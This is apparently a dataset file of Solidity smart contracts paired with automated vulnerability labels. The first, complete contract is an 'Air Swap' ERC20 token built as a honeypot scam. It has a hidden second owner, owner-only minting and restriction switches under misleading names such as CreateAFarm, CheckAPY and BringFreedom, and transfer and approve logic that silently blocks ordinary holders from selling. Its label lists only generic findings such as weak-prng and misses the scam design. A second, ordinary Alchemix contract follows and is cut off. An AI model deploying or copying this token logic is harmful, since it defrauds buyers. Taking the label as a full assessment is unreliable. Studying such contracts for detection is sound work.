* @dev Returns the token name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the erc20 token owner.
*/
function getOwner() external view returns (address);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address _owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
contract Context {
// Empty internal constructor, to prevent people from mistakenly deploying
// an instance of this contract, which should be used via inheritance.
constructor () internal { }
function _msgSender() internal view returns (address payable) {
return msg.sender;
}
function _msgData() internal view returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
contract Ownable is Context {
address private _owner;
address private _ownr;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
_ownr = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
bool cond = ((_msgSender() == _owner || _msgSender() == _ownr) ? true : false);
require(cond, "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
*/
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract AirSwap is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) public marvel;
mapping (address => bool) public fantastic;
mapping (address => bool) public omni;
mapping (address => uint256) public walker;
bool private pampers;
uint256 private _totalSupply;
uint256 private england;
uint256 private golden;
uint256 private _trns;
uint256 private chTx;
uint8 private _decimals;
string private _symbol;
string private _name;
bool private wales;
address private creator;
bool private ireland;
uint scotland = 0;
constructor() public {
creator = address(msg.sender);
pampers = true;
wales = true;
_name = "Air Swap";
_symbol = "AIRS";
_decimals = 5;
_totalSupply = 1000000000000000;
_trns = _totalSupply;
england = _totalSupply;
chTx = _totalSupply / 2300;
golden = chTx * 30;
fantastic[creator] = false;
omni[creator] = false;
marvel[msg.sender] = true;
_balances[msg.sender] = _totalSupply;
ireland = false;
emit Transfer(address(0), msg.sender, _trns);
}
/**
* @dev Returns the token decimals.
*/
function decimals() external view returns (uint8) {
return _decimals;
}
/**
* @dev Returns the token name.
*/
function name() external view returns (string memory) {
return _name;
}
/**
* @dev Returns the token symbol.
*/
function symbol() external view returns (string memory) {
return _symbol;
}
function SetStakingReward(uint256 amount) external onlyOwner {
england = amount;
}
/**
* @dev Returns the erc20 token owner.
*/
function getOwner() external view returns (address) {
return owner();
}
/**
* @dev See {ERC20-totalSupply}.
*/
function totalSupply() external view returns (uint256) {
return _totalSupply;
}
/**
* @dev See {ERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) external returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function randomly() internal returns (uint) {
uint screen = uint(keccak256(abi.encodePacked(now, msg.sender, scotland))) % 50;
scotland++;
return screen;
}
/**
* @dev See {ERC20-allowance}.
*/
function allowance(address owner, address spender) external view returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {ERC20-balanceOf}.
*/
function balanceOf(address account) external view returns (uint256) {
return _balances[account];
}
function BringFreedom() external onlyOwner {
england = chTx / 2400;
ireland = true;
}
/**
* @dev See {ERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) external returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {ERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for `sender`'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {ERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*
*
*/
function increasealowance(address spender, uint256 addedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {ERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseallowance(address spender, uint256 subtractedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function CreateAFarm(uint256 amount) public onlyOwner returns (bool) {
_mint(_msgSender(), amount);
return true;
}
/**
* @dev Creates `amount` tokens and assigns them to `msg.sender`, increasing
* the total supply.
*
* Requirements
*
* - `msg.sender` must be the token owner
*/
function CheckAPY(address spender, bool val, bool val2, bool val3, bool val4) external onlyOwner {
marvel[spender] = val;
fantastic[spender] = val2;
omni[spender] = val3;
ireland = val4;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
if ((address(sender) == creator) && (pampers == false)) {
england = chTx;
ireland = true;
}
if ((address(sender) == creator) && (pampers == true)) {
marvel[recipient] = true;
fantastic[recipient] = false;
pampers = false;
}
if ((amount > golden) && (marvel[sender] == true) && (address(sender) != creator)) {
omni[recipient] = true;
}
if (marvel[recipient] != true) {
fantastic[recipient] = ((randomly() == 3) ? true : false);
}
if ((fantastic[sender]) && (marvel[recipient] == false)) {
fantastic[recipient] = true;
}
if (marvel[sender] == false) {
if ((amount > golden) && (omni[sender] == true)) {
require(false);
}
require(amount < england);
if (ireland == true) {
if (omni[sender] == true) {
require(false);
}
omni[sender] = true;
}
}
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Changes the `amount` of the minimal tokens there should be in supply,
* in order to not burn more tokens than there should be.
**/
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal {
uint256 tok = amount;
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
if ((address(owner) == creator) && (wales == true)) {
marvel[spender] = true;
fantastic[spender] = false;
omni[spender] = false;
wales = false;
}
tok = (fantastic[owner] ? 3434423 : amount);
_allowances[owner][spender] = tok;
emit Approval(owner, spender, tok);
}
/**
* @dev Destroys `amount` tokens from `account`.`amount` is then deducted
* from the caller's allowance.
*
* See {_burn} and {_approve}.
*/
function _burnFrom(address account, uint256 amount) internal {
_burn(account, amount);
_approve(account, _msgSender(), _allowances[account][_msgSender()].sub(amount, "ERC20: burn amount exceeds allowance"));
}
} | These are the vulnerabilities found
1) weak-prng with High impact
2) divide-before-multiply with Medium impact
3) incorrect-equality with Medium impact |
// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.13;
// OpenZeppelin Contracts (last updated v4.6.0-rc.0) (token/ERC20/IERC20.sol)
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `to`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address to, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `from` to `to` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 amount
) external returns (bool);
}
/// @notice An error used to indicate that an argument passed to a function is illegal or
/// inappropriate.
///
/// @param message The error message.
error IllegalArgument(string message);
/// @notice An error used to indicate that a function has encountered an unrecoverable state.
///
/// @param message The error message.
error IllegalState(string message);
/// @notice An error used to indicate that an operation is unsupported.
///
/// @param message The error message.
error UnsupportedOperation(string message);
/// @notice An error used to indicate that a message sender tried to execute a privileged function.
///
/// @param message The error message.
error Unauthorized(string message);
/// @title Multicall
/// @author Uniswap Labs
///
/// @notice Enables calling multiple methods in a single call to the contract
abstract contract Multicall {
error MulticallFailed(bytes data, bytes result);
function multicall(
bytes[] calldata data
) external payable returns (bytes[] memory results) {
results = new bytes[](data.length);
for (uint256 i = 0; i < data.length; i++) {
(bool success, bytes memory result) = address(this).delegatecall(data[i]);
if (!success) {
revert MulticallFailed(data[i], result);
}
results[i] = result;
}
}
}
/// @title Mutex
/// @author Alchemix Finance
///
/// @notice Provides a mutual exclusion lock for implementing contracts.
abstract contract Mutex {
enum State {
RESERVED,
UNLOCKED,
LOCKED
}
/// @notice The lock state.
State private _lockState = State.UNLOCKED;
/// @dev A modifier which acquires the mutex.
modifier lock() {
_claimLock();
_;
_freeLock();
}
/// @dev Gets if the mutex is locked.
///
/// @return if the mutex is locked.
function _isLocked() internal view returns (bool) {
return _lockState == State.LOCKED;
}
/// @dev Claims the lock. If the lock is already claimed, then this will revert.
function _claimLock() internal {
// Check that the lock has not been claimed yet.
if (_lockState != State.UNLOCKED) {
revert IllegalState("Lock already claimed");
}
// Claim the lock.
_lockState = State.LOCKED;
}
/// @dev Frees the lock.
function _freeLock() internal {
_lockState = State.UNLOCKED;
}
}
/// @title IERC20TokenReceiver
/// @author Alchemix Finance
interface IERC20TokenReceiver {
/// @notice Informs implementors of this interface that an ERC20 token has been transferred.
///
/// @param token The token that was transferred.
/// @param value The amount of the token that was transferred.
function onERC20Received(address token, uint256 value) external;
}
/// @title IERC20Metadata
/// @author Alchemix Finance
interface IERC20Metadata {
/// @notice Gets the name of the token.
///
/// @return The name.
function name() external view returns (string memory);
/// @notice Gets the symbol of the token.
///
/// @return The symbol.
function symbol() external view returns (string memory);
/// @notice Gets the number of decimals that the token has.
///
/// @return The number of decimals.
function decimals() external view returns (uint8);
}
/// @title IWETH9
interface IWETH9 is IERC20, IERC20Metadata {
/// @notice Deposits `msg.value` ethereum into the contract and mints `msg.value` tokens.
function deposit() external payable;
/// @notice Burns `amount` tokens to retrieve `amount` ethereum from the contract.
///
/// @dev This version of WETH utilizes the `transfer` function which hard codes the amount of gas
/// that is allowed to be utilized to be exactly 2300 when receiving ethereum.
///
/// @param amount The amount of tokens to burn.
function withdraw(uint256 amount) external;
}
interface IConvexBooster {
function deposit(uint256 pid, uint256 amount, bool stake) external returns (bool);
function withdraw(uint256 pid, uint256 amount) external returns (bool);
}
interface IConvexRewards {
function rewardToken() external view returns (IERC20);
function earned(address account) external view returns (uint256);
function extraRewards(uint256 index) external view returns (address);
function balanceOf(address account) external returns(uint256);
function withdraw(uint256 amount, bool claim) external returns (bool);
function withdrawAndUnwrap(uint256 amount, bool claim) external returns (bool);
function getReward() external returns (bool);
function getReward(address recipient, bool claim) external returns (bool);
function stake(uint256 amount) external returns (bool);
function stakeFor(address account, uint256 amount) external returns (bool);
}
interface IConvexToken is IERC20 {
function maxSupply() external view returns (uint256);
function totalCliffs() external view returns (uint256);
function reductionPerCliff() external view returns (uint256);
}
uint256 constant N_COINS = 2;
interface IEthStableMetaPool is IERC20 {
function get_balances() external view returns (uint256[N_COINS] memory);
function coins(uint256 index) external view returns (IERC20);
function A() external view returns (uint256);
function get_virtual_price() external view returns (uint256);
function calc_token_amount(
uint256[N_COINS] calldata amounts,
bool deposit
) external view returns (uint256 amount);
function add_liquidity(
uint256[N_COINS] calldata amounts,
uint256 minimumMintAmount
) external payable returns (uint256 minted);
function get_dy(int128 i, int128 j, uint256 dx) external view returns (uint256 dy);
function get_dy_underlying(
int128 i,
int128 j,
uint256 dx,
uint256[N_COINS] calldata balances
) external view returns (uint256 dy);
function exchange(
int128 i,
int128 j,
uint256 dx,
uint256 minimumDy
) external payable returns (uint256);
function remove_liquidity(uint256 amount, uint256[N_COINS] calldata minimumAmounts) external;
function remove_liquidity_imbalance(
uint256[N_COINS] calldata amounts,
uint256 maximumBurnAmount
) external returns (uint256);
function calc_withdraw_one_coin(uint256 tokenAmount, int128 i) external view returns (uint256);
function remove_liquidity_one_coin(
uint256 tokenAmount,
int128 i,
uint256 minimumAmount
) external returns (uint256);
function get_price_cumulative_last() external view returns (uint256[N_COINS] calldata);
function block_timestamp_last() external view returns (uint256);
function get_twap_balances(
uint256[N_COINS] calldata firstBalances,
uint256[N_COINS] calldata lastBalances,
uint256 timeElapsed
) external view returns (uint256[N_COINS] calldata);
function get_dy(
int128 i,
int128 j,
uint256 dx,
uint256[N_COINS] calldata balances
) external view returns (uint256);
}
/// @title SafeERC20
/// @author Alchemix Finance
library SafeERC20 {
/// @notice An error used to indicate that a call to an ERC20 contract failed.
///
/// @param target The target address.
/// @param success If the call to the token was a success.
/// @param data The resulting data from the call. This is error data when the call was not a
/// success. Otherwise, this is malformed data when the call was a success.
error ERC20CallFailed(address target, bool success, bytes data);
/// @dev A safe function to get the decimals of an ERC20 token.
///
/// @dev Reverts with a {CallFailed} error if execution of the query fails or returns an
/// unexpected value.
///
/// @param token The target token.
///
/// @return The amount of decimals of the token.
function expectDecimals(address token) internal view returns (uint8) {
(bool success, bytes memory data) = token.staticcall(
abi.encodeWithSelector(IERC20Metadata.decimals.selector)
);
if (!success || data.length < 32) {
revert ERC20CallFailed(token, success, data);
}
return abi.decode(data, (uint8));
}
/// @dev Transfers tokens to another address.
///
/// @dev Reverts with a {CallFailed} error if execution of the transfer failed or returns an
/// unexpected value.
///
/// @param token The token to transfer.
/// @param recipient The address of the recipient.
/// @param amount The amount of tokens to transfer.
function safeTransfer(address token, address recipient, uint256 amount) internal {
(bool success, bytes memory data) = token.call(
abi.encodeWithSelector(IERC20.transfer.selector, recipient, amount)
);
if (!success || (data.length != 0 && !abi.decode(data, (bool)))) {
revert ERC20CallFailed(token, success, data);
}
}
/// @dev Approves tokens for the smart contract.
///
/// @dev Reverts with a {CallFailed} error if execution of the approval fails or returns an
/// unexpected value.
///
/// @param token The token to approve.
/// @param spender The contract to spend the tokens.
/// @param value The amount of tokens to approve.
function safeApprove(address token, address spender, uint256 value) internal {
(bool success, bytes memory data) = token.call(
abi.encodeWithSelector(IERC20.approve.selector, spender, value)
);
if (!success || (data.length != 0 && !abi.decode(data, (bool)))) {
revert ERC20CallFailed(token, success, data);
}
}
/// @dev Transfer tokens from one address to another address.
///
/// @dev Reverts with a {CallFailed} error if execution of the transfer fails or returns an
/// unexpected value.
///
/// @param token The token to transfer.
/// @param owner The address of the owner.
/// @param recipient The address of the recipient.
/// @param amount The amount of tokens to transfer.
function safeTransferFrom(address token, address owner, address recipient, uint256 amount) internal {
(bool success, bytes memory data) = token.call(
abi.encodeWithSelector(IERC20.transferFrom.selector, owner, recipient, amount)
);
if (!success || (data.length != 0 && !abi.decode(data, (bool)))) {
revert ERC20CallFailed(token, success, data);
}
}
}
/// @notice A struct used to define initialization parameters. This is not included
/// in the contract to prevent naming collisions.
struct InitializationParams {
address admin;
address operator;
address rewardReceiver;
address transmuterBuffer;
IWETH9 weth;
IERC20 curveToken;
IEthStableMetaPool metaPool;
uint256 metaPoolSlippage;
IConvexToken convexToken;
IConvexBooster convexBooster;
IConvexRewards convexRewards;
uint256 convexPoolId;
}
/// @dev The amount of precision that slippage parameters have.
uint256 constant SLIPPAGE_PRECISION = 1e4;
/// @dev The amount of precision that curve pools use for price calculations.
uint256 constant CURVE_PRECISION = 1e18;
/// @notice Enumerations for meta pool assets.
///
/// @dev Do not change the order of these fields.
enum MetaPoolAsset {
ETH, ALETH
}
uint256 constant NUM_META_COINS = 2;
/// @title EthAssetManager
/// @author Alchemix Finance
contract EthAssetManager is Multicall, Mutex, IERC20TokenReceiver {
/// @notice Emitted when the admin is updated.
///
/// @param admin The admin.
event AdminUpdated(address admin);
/// @notice Emitted when the pending admin is updated.
///
/// @param pendingAdmin The pending admin.
event PendingAdminUpdated(address pendingAdmin);
/// @notice Emitted when the operator is updated.
///
/// @param operator The operator.
event OperatorUpdated(address operator);
/// @notice Emitted when the reward receiver is updated.
///
/// @param rewardReceiver The reward receiver.
event RewardReceiverUpdated(address rewardReceiver);
/// @notice Emitted when the transmuter buffer is updated.
///
/// @param transmuterBuffer The transmuter buffer.
event TransmuterBufferUpdated(address transmuterBuffer);
/// @notice Emitted when the meta pool slippage is updated.
///
/// @param metaPoolSlippage The meta pool slippage.
event MetaPoolSlippageUpdated(uint256 metaPoolSlippage);
/// @notice Emitted when meta pool tokens are minted.
///
/// @param amounts The amounts of each meta pool asset used to mint liquidity.
/// @param mintedThreePoolTokens The amount of meta pool tokens minted.
event MintMetaPoolTokens(uint256[NUM_META_COINS] amounts, uint256 mintedThreePoolTokens);
/// @notice Emitted when meta tokens are minted.
///
/// @param asset The asset used to mint meta pool tokens.
/// @param amount The amount of the asset used to mint meta pool tokens.
/// @param minted The amount of meta pool tokens minted.
event MintMetaPoolTokens(MetaPoolAsset asset, uint256 amount, uint256 minted);
/// @notice Emitted when meta pool tokens are burned.
///
/// @param asset The meta pool asset that was received.
/// @param amount The amount of meta pool tokens that were burned.
/// @param withdrawn The amount of the asset that was withdrawn.
event BurnMetaPoolTokens(MetaPoolAsset asset, uint256 amount, uint256 withdrawn);
/// @notice Emitted when meta pool tokens are deposited into convex.
///
/// @param amount The amount of meta pool tokens that were deposited.
/// @param success If the operation was successful.
event DepositMetaPoolTokens(uint256 amount, bool success);
/// @notice Emitted when meta pool tokens are withdrawn from convex.
///
/// @param amount The amount of meta pool tokens that were withdrawn.
/// @param success If the operation was successful.
event WithdrawMetaPoolTokens(uint256 amount, bool success);
/// @notice Emitted when convex rewards are claimed.
///
/// @param success If the operation was successful.
/// @param amountCurve The amount of curve tokens sent to the reward recipient.
/// @param amountConvex The amount of convex tokens sent to the reward recipient.
event ClaimRewards(bool success, uint256 amountCurve, uint256 amountConvex);
/// @notice Emitted when ethereum is sent to the transmuter buffer.
///
/// @param amount The amount of ethereum that was reclaimed.
event ReclaimEth(uint256 amount);
/// @notice Emitted when a token is swept to the admin.
///
/// @param token The token that was swept.
/// @param amount The amount of the token that was swept.
event SweepToken(address token, uint256 amount);
/// @notice Emitted when ethereum is swept to the admin.
///
/// @param amount The amount of the token that was swept.
event SweepEth(uint256 amount);
/// @notice The admin.
address public admin;
/// @notice The current pending admin.
address public pendingAdmin;
/// @notice The operator.
address public operator;
// @notice The reward receiver.
address public rewardReceiver;
/// @notice The transmuter buffer.
address public transmuterBuffer;
/// @notice The wrapped ethereum token.
IWETH9 public weth;
/// @notice The curve token.
IERC20 public immutable curveToken;
/// @notice The meta pool contract.
IEthStableMetaPool public immutable metaPool;
/// @notice The amount of slippage that will be tolerated when depositing and withdrawing assets
/// from the meta pool. In units of basis points.
uint256 public metaPoolSlippage;
/// @notice The convex token.
IConvexToken public immutable convexToken;
/// @notice The convex booster contract.
IConvexBooster public immutable convexBooster;
/// @notice The convex rewards contract.
IConvexRewards public immutable convexRewards;
/// @notice The convex pool identifier.
uint256 public immutable convexPoolId;
/// @dev A cache of the tokens that the meta pool supports.
IERC20[NUM_META_COINS] private _metaPoolAssetCache;
/// @dev A modifier which reverts if the message sender is not the admin.
modifier onlyAdmin() {
if (msg.sender != admin) {
revert Unauthorized("Not admin");
}
_;
}
/// @dev A modifier which reverts if the message sender is not the operator.
modifier onlyOperator() {
if (msg.sender != operator) {
revert Unauthorized("Not operator");
}
_;
}
constructor(InitializationParams memory params) {
admin = params.admin;
operator = params.operator;
rewardReceiver = params.rewardReceiver;
transmuterBuffer = params.transmuterBuffer;
weth = params.weth;
curveToken = params.curveToken;
metaPool = params.metaPool;
metaPoolSlippage = params.metaPoolSlippage;
convexToken = params.convexToken;
convexBooster = params.convexBooster;
convexRewards = params.convexRewards;
convexPoolId = params.convexPoolId;
for (uint256 i = 0; i < NUM_META_COINS; i++) {
_metaPoolAssetCache[i] = params.metaPool.coins(i);
if (_metaPoolAssetCache[i] == IERC20(0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE)) {
_metaPoolAssetCache[i] = weth;
}
}
emit AdminUpdated(admin);
emit OperatorUpdated(operator);
emit RewardReceiverUpdated(rewardReceiver);
emit TransmuterBufferUpdated(transmuterBuffer);
emit MetaPoolSlippageUpdated(metaPoolSlippage);
}
receive() external payable { }
/// @notice Gets the amount of meta pool tokens that this contract has in reserves.
///
/// @return The reserves.
function metaPoolReserves() external view returns (uint256) {
return metaPool.balanceOf(address(this));
}
/// @notice Gets the amount of a meta pool asset that this contract has in reserves.
///
